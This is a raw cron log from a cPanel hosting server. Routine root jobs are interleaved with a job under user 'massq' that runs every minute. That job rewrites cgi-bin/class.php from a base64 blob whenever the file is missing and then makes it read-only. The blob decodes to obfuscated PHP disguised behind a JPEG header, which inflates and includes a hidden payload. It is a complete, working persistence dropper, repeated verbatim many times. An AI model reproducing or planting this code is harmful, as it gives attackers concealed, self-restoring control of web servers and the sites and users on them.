Sep 12 19:42:01 server CROND[12300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:42:01 server CROND[12301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:42:01 server CROND[12302]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:43:01 server CROND[12719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:43:01 server CROND[12720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:43:01 server CROND[12721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:44:01 server CROND[13199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:44:01 server CROND[13200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:44:01 server CROND[13201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:45:01 server CROND[13587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:45:01 server CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:45:01 server CROND[13592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:45:01 server CROND[13595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:45:01 server CROND[13591]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:45:01 server CROND[13593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:45:01 server CROND[13594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:46:01 server CROND[14434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:46:01 server CROND[14435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:46:01 server CROND[14436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:47:01 server CROND[14818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:47:01 server CROND[14820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:47:01 server CROND[14819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:48:01 server CROND[15218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:48:01 server CROND[15219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:48:01 server CROND[15220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:49:01 server CROND[15712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:49:01 server CROND[15713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:49:01 server CROND[15714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:50:01 server CROND[16112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:50:01 server CROND[16116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:50:01 server CROND[16119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:50:01 server CROND[16125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 19:50:01 server CROND[16128]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:50:01 server CROND[16124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:50:01 server CROND[16127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:50:01 server CROND[16129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:50:01 server CROND[16126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:51:01 server CROND[16958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:51:01 server CROND[16959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:51:01 server CROND[16960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:52:01 server CROND[17354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:52:01 server CROND[17355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:52:01 server CROND[17356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:53:01 server CROND[17745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:53:01 server CROND[17746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:53:01 server CROND[17747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:54:01 server CROND[18221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:54:01 server CROND[18220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
